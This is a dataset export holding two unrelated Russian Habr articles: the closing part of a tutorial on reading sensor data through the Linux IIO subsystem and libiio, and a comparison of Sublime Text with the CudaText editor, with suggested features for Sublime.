be:s16/16>>0
le:s64/64>>0
```
Тут более ли менее все понятно:
* первым идёт порядок байт le или be соответственно мы должны позаботиться о том что порядок совпадает с нашей архитектурой или c выбранным нами порядком байт
* затем идет тип — знаковое или без знаковое, s или u соответственно
* затем идет длина значения в битах и через / длина поля в котором содержится значение опять же в битах, кратное количеству битов в байте
* последним идет сдвиг
То есть если бы у нас было два значения по четыре бита упакованных в одно и тоже поле мы видели бы следующее:
```
be:u4/8>>0
be:u4/8>>4
```
Предпоследнее не показанное в живом примере поле repeat — если оно больше 1 передается сразу массив измерений.
Scaling and offset
------------------
Как я уже говорил ранее прочитанные данные в сыром виде необходимо привести к общему виду:
```
/sys/bus/iio/devices/iio:deviceX/in_*_raw
/sys/bus/iio/devices/iio:deviceX/in_*_offset
/sys/bus/iio/devices/iio:deviceX/in_*_scale
```
В общем случае преобразование будет иметь вид (raw + offset)\*scale, для какого то из типов датчиков offset'a может и не быть.
[How to do a simple ADC conversion using the sysfs interface](https://wiki.st.com/stm32mpu/wiki/How_to_use_the_IIO_user_space_interface#How_to_do_a_simple_ADC_conversion_using_the_sysfs_interface)
iio\_simple\_dummy
------------------
Для изучения и тестирования может пригодится **iio\_simple\_dummy** — модуль ядра эмулирующий абстрактное устройство IIO устройство для следующих каналов:
* IIO\_VOLTAGE
* IIO\_ACCEL
* IIO\_ACTIVITY
[The iio\_simple\_dummy Anatomy](https://flusp.ime.usp.br/iio/iio-dummy-anatomy)
[iio\_simple\_dummy](https://elixir.bootlin.com/linux/latest/source/drivers/iio/dummy/iio_simple_dummy.c)
libiio
======
Если вышеприведенное показалось вам сложным — на помощь к вам идет [libiio](https://github.com/analogdevicesinc/libiio) от Analog Devices.
Помимо того, что она берет на себя рутинные вещи наподобие разбора формата канала или включения/выключения каналов.
У неё есть интересная особенность в виде возможности работы в виде сервера/клиента, в таком случае устройство с датчиками служит в качестве сервера данных, а клиент может располагаться на Linux, Windows или Mac машине, и соединяться через USB, Ethernet или Serial.
Соединение с удаленным узлом iiod:
On remote :
```
host # iiod
```
On local :
```
local $ iio_info -n [host_address]
local $ iio_attr -u ip:[host_address] -d
local $ iio_readdev -u ip:[host_address] -b 256 -s 0 icm20608
```
Отдельно хочется отметить поддержку [Matlab](https://wiki.analog.com/resources/tools-software/linux-software/libiio/clients/matlab_simulink), а так же интересный проект [осциллографа](https://wiki.analog.com/resources/tools-software/linux-software/iio_oscilloscope).
Пример программы для чтения акселерометра
=========================================
Приведу пример программы для чтения, как с использованием libiio так и без.
<https://github.com/maquefel/icm20608-iio>
Работа без использования libiio
-------------------------------
Я не буду касаться банальной работы с sysfs так, что в общих чертах для чтения необходимо сделать следующее:
* Поиск устройства, здесь мы ориентируемся на /sys/bus/iio/iio:deviceN/name, соответственно /sys/bus/iio/iio:deviceN будет совпадать с /dev/iio:deviceN
* Инициализация каналов в /sys/bus/iio/iio:deviceN/scan\_elements/, нам будут передаваться измерения только с тех каналов, которые мы заказали в \*\_en
* Инициализация буфера /sys/bus/iio/iio:deviceN/enable
В примере есть минимум необходимый для работы.
### Выравнивание
Eго придется делать самим если мы хотим обойтись без libiio.
<https://elixir.bootlin.com/linux/v5.9-rc1/source/drivers/iio/industrialio-buffer.c#L574>
Простой код для вычисления смещения для каждого канала:
```
# bytes - всего длина всего пакета в байтах
# length - длина канала в байтах
# offset - смещения относительно начала пакета для канала в байтах
if (bytes % length == 0)
offset = bytes;
else
offset = bytes - bytes % length + length;
bytes = offset + length;
```
Что в случае без libiio, что в противоположном случае измерение необходимо привести к окончательному виду:
* привести порядок байт в соответствие с используемым
* сдвинуть на необходимое значение
* обрезать лишнее
* если знаковое, то проделать расширение знака (Sign extension)
* если есть offset, то прибавить до применения шкалы
* если есть scale, то применить шкалу
```
input = is_be ? betoh(input) : letoh(input);
input >>= shift;
input &= BIT_MASK(bits);
value = is_signed ? (float)sext(input, bits) : (float)input;
if(with_offset) value += offset;
if(with_scale) value *= scale;
```
Примечание: Расширение знака (Sign extension) в примере представлен самый простой непортируемый вариант. Дополнительно по теме можно глянуть тут [SignExtend](https://graphics.stanford.edu/~seander/bithacks.html#FixedSignExtend).
Работа с использованием libiio
------------------------------
Пример работы можно глянуть тут [libiio-loop.c](https://github.com/maquefel/icm20608-iio/blob/master/src/libiio-loop.c).
Приведу псевдокод с комментариями:
```
# Создать контекст из uri
# uri = "ip:127.0.0.1"
# uri = "local:"
# uri = "usb:"
ctx = iio_create_context_from_uri(uri);
# Найти устройство
# допустим device = icm20608
dev = iio_context_find_device(ctx, device);
# Количество доступных каналов
nb_channels = iio_device_get_channels_count(dev);
# Включить каждый канал
for(int i = 0; i < nb_channels; i++)
iio_channel_enable(iio_device_get_channel(dev, i));
# buffer_size = SAMPLES_PER_READ, количество последовательных измерений (по всем каналам)
buffer = iio_device_create_buffer(dev, buffer_size, false);
# Задать блокирующий режим работы
iio_buffer_set_blocking_mode(buffer, true);
while(true) {
# Заполнить буфер
iio_buffer_refill(buffer);
# Способов несколько - можно читать и без использования libiio
# Приведу в качестве примера "каноничный" способ, который заключается в том что предоставленная нами функция
# вызывается для каждого канала
# ssize_t print_sample(const struct iio_channel *chn, void *buffer, size_t bytes, __notused void *d)
# const struct iio_channel *chn - текущий канал который мы обрабатываем
# void *buffer - указатель на буфер содержащий измерения для данного канала
# size_t bytes - длина измерения в байтах
# __notused void *d - пользовательские данные которые мы передаем вместе с вызовом iio_buffer_foreach_sample
iio_buffer_foreach_sample(buffer, print_sample, NULL);
}
# освободить буфер
iio_buffer_destroy(buffer);
# освободить контекст
iio_context_destroy(ctx);
```
Пара слов об альтернативном механизме для чтения данных
=======================================================
В качестве альтернативы доступа к данным был предложен прототип, который позволял перемещать данные из буфера устройства сразу в пользовательский буфер, так называемый механизм Zero-Copy.
Всё это относиться к методам обработки высокоскоростного потока данных.
Сравнение методов (тезисы из презентации):
Решение первое — Блоки
* Группировать несколько измерений в блок
* Генерировать одно прерывание на один блок
* Уменьшить расходы на управление
* Размер блока должен быть конфигурируемым
* Позволить пользовательского приложению выбирать между задержкой и накладными расходами
Решение второе — DMA + mmap()
* Использовать DMA чтобы перемещать данные от устройства к выделенному блоку памяти
* Использовать mmap() чтобы иметь доступ к памяти из пользовательского пространства
* Избежать копирования данных
* "Бесплатное" демультиплексирование в пользовательском пространстве
[High-speed Data Acquisition
using the
Linux Industrial IO framework](https://elinux.org/images/8/8d/Clausen--high-speed_data_acquisition_with_the_linux_iio_framework.pdf)
По мне так это отличное решения для SDR.
Из переписки с автором я понял, что данная функциональность будет включена в официальное ядро, хотя и не в текущем виде и неизвестно когда.
Автор любезно предоставил данные изменения для ядра [4.19](https://github.com/larsclausen/linux/tree/iio-high-speed-4.19) и [5.4](https://github.com/larsclausen/linux/tree/iio-high-speed-5.4).
[С дискуссией по данной теме можно ознакомиться тут](https://patchwork.kernel.org/project/linux-iio/list/?series=284793)
Рекомендуемые материалы
-----------------------
<https://bootlin.com/pub/conferences/2012/fosdem/iio-a-new-subsystem/iio-a-new-subsystem.pdf>
<https://archive.fosdem.org/2012/schedule/event/693/127_iio-a-new-subsystem.pdf>
<https://events19.linuxfoundation.org/wp-content/uploads/2017/12/Bandan-Das_Drone_SITL_bringup_with_the_IIO_framework.pdf>
<https://programmer.group/5cbf67db154ab.html>
<https://elinux.org/images/b/ba/ELC_2017_-_Industrial_IO_and_You-_Nonsense_Hacks%21.pdf>
<https://elinux.org/images/8/8d/Clausen--high-speed_data_acquisition_with_the_linux_iio_framework.pdf>
Для дополнительного изучения
----------------------------
<https://linux.ime.usp.br/~marcelosc/2019/09/Simple-IIO-driver>
P.S.
~~Приношу извинения за ссылки, я не смог заставить их выглядеть на markdown как положено, и мне непонятно почему.~~
Пробела решилась — спасибо [Exosphere](https://habr.com/ru/users/exosphere/) — я неправильно оформлял ссылки. | https://habr.com/ru/post/520488/ | null | ru | null |
# Идеи для Sublime от CudaText
С 2012 года использую для просмотра и изменения почти всех текстовых файлов, логов и программных кодов на языках *VFP/JS/Python/XML/HTML* редакторы, созданные Алексеем Торгашиным: сначала это был **[SynWrite](http://www.uvviewsoft.com/synwrite/)**, теперь его потомок **[CudaText](http://www.uvviewsoft.com/cudatext/)**. Осознанно выбрал именно его редактор из списка опробованных, в который входили, в том числе, **AkelPad**, **Notepad++** и **Sublime Text**. Решающей оказалась *отзывчивость техподдержки* — Алексей принимал от пользователей огромное число пожеланий/претензий и быстро их реализовывал. Поясню. Число пожеланий/претензий было все годы примерно равномерное, а после перехода три года назад на [ГитХаб](https://github.com/Alexey-T/CudaText) стало измеримым и оценивается мной как 400 пожеланий/год и 100 багов/год. Приятно удивляет, что расширение функционала по просьбам трудящихся не сказывалось на надежности редактора в целом. А когда ресурс устойчивого развития **SynWrite** был исчерпан, возник **CudaText**.
**Передаю слово Алексею.**У меня с Алексеем случаются беседы на разнообразные темы. Недавно он перечислил "чего в Sublime не хватает". Мне это показалось интересным, и мы договорились представить эти идеи на Хабре. Дальше будет изложение тезисов от Алексея в моей редактуре.
Потратив несколько лет на создание своей программы, по другому смотришь на результаты конкурентов. Замечаешь в них не только удачные черты (их либо уже применил, либо хочешь применить), но и недостатки. Покажу, что можно было бы улучшить в **Sublime Text** (далее **Sublime**), если сравнивать его с моим **CudaText** (далее **Cuda**). При этом подчеркиваю, что мой редактор возник, когда **Sublime** уже был широко распространенным, многие его идеи были базовыми для **Cuda**:
* Текстовые конфиг-файлы
* Перекрытие настроек
* Мульти-каретки
* Плагины на Питоне
* Палитра всех команд
**Sublime** жестко навязывает текстово-командный стиль работы.
Например.
* Нет диалогов для настройки — есть только json-файлы (их много).
* Нет дополнительных контролов в диалоге ПоискПоФайлам — вместо них “язык” для заполнения текстовых полей.
Такой стиль эффективен, гибок и расширяем, но требует от пользователя непрерывного доучивания. Для новичков это создает заметный порог вхождения.
**Cuda** старается быть более доступным инструментом. Это оказывается возможным, так как он создается в среде **Lazarus**, предоставляющей богатый GUI арсенал и переносимость между **Win**/**Linux**/**Mac**. В результате гибкость json-настроек в **Cuda** сочетается с диалог-плагинами, например, ПоискПоФайлам (есть [хабр-обзор](https://habr.com/post/417367/)), редактор настроек и прочими.
Попробую высказать несколько идей, как можно улучшить **Sublime**. Конечно, это лишь мое частное мнение.
### Тулбары
В **Sublime** нет тулбаров. Так проявляется его текстово-командный стиль. Видимо, предполагается, что полезное место для редактируемого кода важнее. Можно все команды вызывать либо из меню, либо из Палитры по именам, либо через хоткеи. Есть явный недостаток у такого подхода — нужно заранее знать либо имя команды, либо ее хоткей. А ведь существование нужной команды и ее имя далеко не всегда очевидны.
Настраиваемый, в том числе отключаемый, тулбар — одна из деталей, которая снижает порог использования.
У **Cuda** есть горизонтальный настраиваемый тулбар для вызова команд и вертикальный сайдбар для переключения панелей: Дерево, Проект, Консоль. За настройку тулбара отвечает API, то есть она выполняется через плагин. В сайдбаре могут появляться новые кнопки, если плагины добавляют новые панели.
Добавление тулбара в **Sublime** не нарушило бы никаких прежних его технологий.
### Статус-бар
В **Sublime** статус-бар бедный.
(1) Переключатель панелей Консоль/Поиск/Замена/ПоФайлам
(2) Сообщение
(3) Кодировка
(4) Тип EOL
(5) Настройка Tab
(6) Синтаксис
Из этих шести полей только два (Кодировка и EOL) можно спрятать через конфиг, и в поле Сообщение плагины могут добавлять/удалять пары ключ=значение. Ни спрятать, ни переставить, ни настроить остальные поля нельзя. Особенно странно, что важная информация о каретке(ах)/выделении(ях) попадает внутрь поля Сообщение, где перемешивается с текстами от команд.
В **Cuda** пользователь может в `user.json` для полей статус-бара указать их последовательность, ширину и выравнивание:
```
"ui_statusbar_panels": "caret,L,250|msg,L,0|lexer,L,70|tabsize,L,70"
```
а заполнение поля `caret`(информация о каретках/выделениях), можно настроить раздельно, применяя макроподстановки. Например, так
```
"ui_statusbar_no_sel": "r={y}/{count} c={xx}",
"ui_statusbar_carets": "carets={carets} top/bot={y}/{y2}",
"ui_statusbar_col_sel":"r={y}/{count} c={xx} s=[{sel} x {cols}]",
```
В результате таких настроек **Cuda** будет отображать в статус-баре
* Если одна каретка: 
* Если четыре каретки: 
* Если вертикальное выделение: 
Еще **Cuda** позволяет настраивать, как долго нужно показывать текст в поле Сообщение.
### Дерево кода
Стремление **Sublime** все представлять в текстовом виде понятно. Однако, отказ от панели Дерево, которая есть во всех IDE и продвинутых текстовых редакторах, очень болезненный. Можно применять «текстовое Дерево», размещенное в обычной вкладке (например, с плагином `Outline`), но оно слабо интегрировано с интерфейсом **Sublime**, и полноценной заменой не является.
В **Cuda** есть панель `Code tree` для отображения синтаксических элементов активного файла: функции/классов/полей для программных языков, тегов/ключей для разметочных языков.
Интеграция:
* Отображение синхронное, то есть дерево отображает состояние кода сразу после его изменения (с настраиваемой задержкой).
* Выделенный узел дерева синхронизирован с положением каретки в коде.
* Узлы дерева используются для выделения блоков, перемещения каретки и других операций.
Кроме того API **Cuda** позволяет создать новую панель с деревом и наполнить ее. Плагин `Project Manager` как раз это и делает.
### Папки с настройками и плагинами
Для пользователя, не глубоко погрузившегося в мануалы **Sublime**, ситуация с размещением настроек/пакетов/плагинов по папкам выглядит запутанной. Ошарашивает уже первый шаг внутри свежеустановленного редактора: по команде меню `Preferences -- Settings` открываются два файла, один из которых (умолчательные настройки) в титуле редактора виден как (в Win)
`Sublime Text 3/Packages/Default/Preferences.sublime-settings`
но ни такого файла, ни такой папки на диске нет. В целом, логика в таком фокусе угадывается. Умолчательные настройки должны быть зашиты в код редактора, а будут они продублированы в каком-нибудь файле или нет — это на усмотрение разработчика. **Sublime** притворяется, что они в файле.
В **Cuda** умолчательные настройки тоже зашиты, но при этом в сборке есть реальный файл
`settings_default\default.json`
в котором они продублированы и прокомментированы. Наличие такого файла создает удобство не только для пользователей, но и для плагинов. Например, редактор настроек, извлекает из этого файла и сам список опций, и комментарии к ним, и разметку для распределения опций по дереву.
С пакетами в **Sublime** случаются аналогичные заморочки — ищешь их в `Packages` и не находишь.
Хотя **Cuda** не обладает такой мощной базой дополнительных пакетов, как **Sublime**, но логика размещения у **Cuda** прозрачная. Например, для плагинов есть одна папка `py`, в которой видны все — и стандартные, и доустановленные. Для тем есть папка `data/themes`, для сниппетов — `data/snippets`, для лексеров — `data/lexlib`.
### Package Control
Странная ситуация с плагином `Package Control`. С одной стороны, из коробки **Sublime** приходит без этого плагина. С другой, почти ничего серьезного без него сделать нельзя — без дополнений редактор весьма куцый. Даже размещение плагина в меню `Preferences`, а не в `Tools--Packages` указывает на его особый статус. Видимо, какие-то “авторские права” мешают включить этот плагин в сборку **Sublime**.
В **Cuda** несколько плагинов (сейчас 10), в том числе `Addons Manager`, входят в дистрибутив.
### Плавающие панели
У **Sublime** монолитная компоновка окна, то есть Консоль и группы вкладок располагаются вместе. Можно запустить несколько экземпляров, но в каждом из них всегда будут вкладки и, может быть, Консоль.
В **Cuda** есть настройки и команды для отображения Консоли в отдельном окне. Это позволяет удобно растянуть ее без ущерба для высоты основного текста и, например, поместить на второй монитор. Кроме того, можно отделить и панель с Деревом, чтобы не ограничивать ширину основного текста.
Кстати, пользователи **Atom** (или **VS Code**) хотели бы иметь плавающие панели, но разработчики отказали, сославшись на ограничения в **Electron**. Так что это могло бы стать преимуществом **Sublime** над прямыми конкурентами.
### Настроечный плагин
У **Sublime** более ста настроек ядра (107 в версии 3.1.1) и шесть дополнительных перекрывающихся уровней для размещения измененных значений:
(1) `Packages/Default/Preferences ().sublime-settings`
(2) `Packages/User/Preferences.sublime-settings`
(3)
(4) `Packages//.sublime-settings`
(5) `Packages/User/.sublime-settings`
(6)
Легко представить ситуацию, когда чисто ручное сопровождение даже малой части от 700 значений (100 ключей на 7 уровнях) становится проблемой.
В **Cuda** настроек ядра почти 300, а дополнительных уровней для их перекрытия три:
(1) `settings/user.json`
(2) `settings/lexer .json`
(3)
Проблема та же – слишком много значений (до 300\*4) нужно учитывать. В помощь пользователям есть плагин, отображающий все настройки на всех уровнях в виде таблицы, упрощающий поиск и редактирование.
Обратите внимание на колонку `Section` — настройки приписаны к узлам дерева. Это дает дополнительные сортировки и фильтры. Разметка для построения этого дерева включена в комментарии к настройкам в файле `settings_default\default.json`. Например, комментарий
```
// [UI/Listbox]`
```
припишет следующие за ним опции к узлу `UI/Listbox`. Дерево целиком тоже можно увидеть
Для **Sublime** аналогичный диалог вполне возможен:
* Имя и семь уровней перекрытия — это всего лишь восемь колонок в таблице.
* Форму и контролы можно взять из Tk или более продвинутой GUI-библиотеки Питона.
* Изменение опций может приводить к изменениям в файлах и их перезагрузке при сохранении.
### Мелочи
Есть несколько незначительных претензий, которым, конечно, правильное место не здесь, а в форуме техподдержки **Sublime**. Пусть будут для полноты.
1. Не работают `PgDn`/`PgUp` в диалогах-списках, например, в Палитре Команд.
2. Часто нужно вставить какой-нибудь *хитрый* символ, например, стрелку или дробь. Не хватает инструмента для просмотра/выбора всех юникод-символов. В **Cuda** такой инструмент есть в виде диалога `Char map`
3. Нет возможности задать индивидуальную раскраску ярлыков. Когда открыто много файлов, часто возникает желание пометить цветом ярлыки некоторых из них. В **Cuda** команда `Set tab color...` есть в локальном меню над ярлыком. Настроенные таким образом цвета сохраняется в сессии.
### Заключение
Как же легко раздавать советы!
Но перечисленные выше соображения, на мой взгляд, не лишены пользы. Если в следующей версии **Sublime Text** что-то пригодится, будет хорошо. Кстати, может быть кто-то переведет и передаст идеи Скиннеру (Jon Skinner). | https://habr.com/ru/post/427751/ | null | ru | null |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.